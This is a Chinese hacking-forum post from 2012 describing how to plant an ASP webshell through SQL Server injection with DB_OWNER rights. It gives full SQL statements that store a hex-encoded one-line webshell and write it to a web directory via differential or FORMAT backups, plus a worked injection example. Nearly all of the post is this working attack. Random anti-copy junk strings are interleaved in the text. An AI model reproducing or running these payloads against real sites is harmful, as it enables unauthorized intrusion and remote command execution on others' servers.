找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2103|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:8 g; s: l9 _- M# K4 S8 `+ r9 \- m

% p; l- r7 W; O" U. d减少备份文件大小,得到可执行的webshell成功率提高不少
9 C+ D* U% |5 n( ]/ Z5 d- X+ O一利用差异备份
+ g" B6 }( L0 d0 f  v4 M加一个参数WITH DIFFERENTIAL' Z" o4 C! M- c% }& I
6 t" H! R4 y+ S
19 c  M3 A$ N" i# }
2% r" l' B' [9 k$ z5 B- [- ]& x8 ?
3  v8 K! a2 O- z  U" W# @+ _3 q6 r
40 |- X, F, O! P* i' r* r& I
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s6 [" d6 h9 b4 Z0 Z: k( I% k
create table [dbo].[xiaolu] ([cmd] [image]);
5 c0 ~0 A' w. L. ginsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)* \) l2 p  n# ?' z" ?0 Q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
* s* p* W, g2 T0 k5 _
2 y0 D# u! E  j% v  r二利用完全FORMAT* o. Z' z# x5 `# b
加一个参数WITH FROMAT7 m( {! o( }6 l( {/ @. y: X
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以4 V+ r% A  N$ k

" G3 y% U8 J% f0 }1 l  X& S; P- R" ]1
) r$ j, W& P* F5 ]: j7 k2# m+ y2 s5 B% |0 d
3
, Y; \( ~& c, `. N4 d" A9 l4
) v" G/ t4 E5 l* q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. `3 G1 C' }0 D  N2 E' C
create table [dbo].[xiaolu] ([cmd] [image]);
# S+ @+ U( D) n! v. |' @: Binsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
* `" l: ?/ P2 @! [" Fdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 6 P; x+ s+ _% r
3 ^) K' i: _( p% A5 x1 I
总的来说就是那么简单几句,下面以备份数据库model为例子
2 O) h- ^5 q( E: D; F( _1
3 M- C3 {0 ~/ O( w, |: G$ P) W7 @1 B/ O5 z0 X  Q0 d
1# |5 f; |0 d9 Y2 |8 z" N$ v
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
' y. |- C2 R9 \& v; d0 V2 A( S, c' ?$ X
2
: m5 g6 u: W8 @( c9 J
& P2 z. [3 v2 Q# j1 X  V- m# z6 p) h: l1. k4 a% m9 I9 K. R
id=1;backup database model to disk='你的路径‘ with differential,format;--
/ G4 \- Z' ^, e/ Q; d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表